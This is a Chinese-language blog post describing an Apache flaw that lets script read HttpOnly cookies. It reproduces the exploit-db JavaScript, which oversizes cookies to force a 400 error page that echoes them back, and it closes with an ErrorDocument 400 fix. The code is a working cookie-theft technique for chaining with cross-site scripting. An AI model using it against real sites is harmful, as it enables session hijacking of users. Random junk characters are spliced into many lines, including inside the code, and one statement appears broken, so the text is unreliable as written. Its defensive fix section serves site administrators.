Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。

" Y- v6 o5 T  w1 @' J6 I+ y8 q( ~用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:
$ ?$ l9 J+ O+ k
- C) r6 R0 j. [$ R
// http://www.exploit-db.com/exploits/18442/
function setCookies (good) {
// Construct string for cookie value
2 S( Z. i% }9 j) i3 yvar str = "";
for (var i=0; i< 819; i++) {
str += "x";
}
$ s, v# p+ Z: f8 C+ \// Set cookies
5 d4 F1 A  @  O& i! A8 d  dfor (i = 0; i < 10; i++) {
* e' y6 X$ k0 ?4 P3 l// Expire evil cookie
& z% m  c9 O% k" b/ Mif (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
0 l6 _" [: R! ^0 t4 y6 ^3 V1 A2 c}
// Set evil cookie
5 {& ?$ E5 ~0 f% K' qelse {
; j# y* b; O7 Gvar cookie = "xss"+i+"="+str+";path=/";
}
document.cookie = cookie;
}
}
/ n$ G0 F# L7 h8 ^+ @0 V( Ufunction makeRequest() {
4 ~( ^# s& R2 k0 Q0 Y5 N/ dsetCookies();
function parseCookies () {
- ~& G: I% B+ ?7 U9 Wvar cookie_dict = {};
// Only react on 400 status
! ^9 i* e' T$ J5 @: ~9 n1 e2 vif (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match <pre> content
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
if (content.length) {
// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
' y; f1 D4 b$ Q# {2 w& d// Add cookies to object
for (var i=0; i<cookies.length; i++) {
var s_c = cookies.split('=',2);
" b! O& K, e+ J2 B  l0 Z' xcookie_dict[s_c[0]] = s_c[1];
7 {. q3 j/ M, z5 v! y$ K' `+ R}
}
3 v; N  F) j$ e0 o$ y1 k// Unset malicious cookies
) A% }) k- G, w1 |8 DsetCookies(true);
7 _( K* _0 z3 A1 W# B3 s# lalert(JSON.stringify(cookie_dict));
}
}
2 g; j) N3 Y2 g! G" E// Make XHR request
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
xhr.open("GET", "/", true);
xhr.send(null);
) s; `9 \5 G2 b1 d' j}
1 u+ P. k' ?$ c/ Y6 y) wmakeRequest();

你就能看见华丽丽的400错误包含着cookie信息。
" m3 r+ Q7 T. m6 q8 s
下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#

修复方案：
& W0 Q7 t, F( t4 }2 M
Apache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下

: ^1 P0 e$ J: O& G( e# ZIn the event of a problem or error, Apachecan be configured to do one of four things,
1 F. Q/ F3 |# U3 ~+ k( @
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
2. output acustomized message输出一段信息
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
4. redirect to an external URL to handle theproblem/error转向一个外部URL
* ]/ B* `8 E& r/ F; Q+ J0 A
经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容

Apache配置：

ErrorDocument400 " security test"
% }- G8 `* p1 F+ K5 G# M
当然，升级apache到最新也可：）。

参考：http://httpd.apache.org/security/vulnerabilities_22.html
9 v# M2 T( N! G# O! Z! Q- ~